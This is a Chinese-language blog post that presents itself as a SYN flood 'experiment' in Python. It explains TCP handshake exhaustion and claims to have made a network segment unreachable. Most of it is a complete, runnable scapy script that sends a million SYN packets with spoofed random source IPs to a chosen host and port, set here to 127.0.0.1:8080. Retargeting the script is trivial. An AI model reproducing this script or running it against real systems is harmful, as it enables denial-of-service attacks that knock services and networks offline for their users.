如何使用python做syn_flood攻击的实验

什么是SYN_FLOOD

若正常通过三次握手过程,则连接就建立了,但是恶意攻击者会刻意伪造ip地址,使得受攻击的主机得不到最后一次握手,只能不断的为到来的syn分配内存,发送syn+ack,就这样一直等不到第三次握手的ack确认。

同时开启多个线程运行即可达到攻击效果

结果

任务管理器展示CPU使用率

该网段已无法访问

代码

from Tools.scripts.treesync import raw_input
from scapy.all import *
import os
import sys
import random

from scapy.layers.inet import TCP, IP


def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
    return ip


def randInt():
    x = random.randint(1000, 9000)
    return x


def SYN_Flood(dstIP, dstPort):
    total = 0
    print("Packets are sending ...")
    for x in range(0, 1000000):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet / TCP_Packet, verbose=0)
        print('one was sent')
        total += 1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)


def main():
    SYN_Flood('127.0.0.1', 8080)


main()

   转载规则


《如何使用python做syn_flood攻击的实验》 Harbor Zeng 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
如何给腾讯云服务器的域名配置SSL证书,给自己的网站上https 如何给腾讯云服务器的域名配置SSL证书,给自己的网站上https
1. 写在前面的话域名和服务器都是在腾讯云上面的,本文将实现做新的域名解析,API部署,nignx反向代理配置,申请SSL证书,部署证书等流程 2. 新的子域名解析在腾讯云的域名服务中添加一条A记录将api.blog.tellyouwhat.cn解析到118.89.167.182这台服务器上 3. API部署打包API执行Gradle build命令,开始打包 使用xftp连接到服务器在当前u
2018-04-24
下一篇 
如何使用Java手写实现一个RSA加密算法 如何使用Java手写实现一个RSA加密算法
8到16位RSA实现RSA这种算法非常可靠,密钥越长,它就越难破解。 第一步,随机选择两个不相等的质数p和q。 第二步,计算p和q的乘积n。 第三步,计算n的欧拉函数φ(n)。 第四步,随机选择一个整数e,条件是1< e < φ(n),且e与φ(n) 互质。 第五步,计算e对于φ(n)的模反元素d。 第六步,将n和e封装成公钥,n和d封装成私钥。 实现效果 代码密钥的父类: pub
2018-03-27
  目录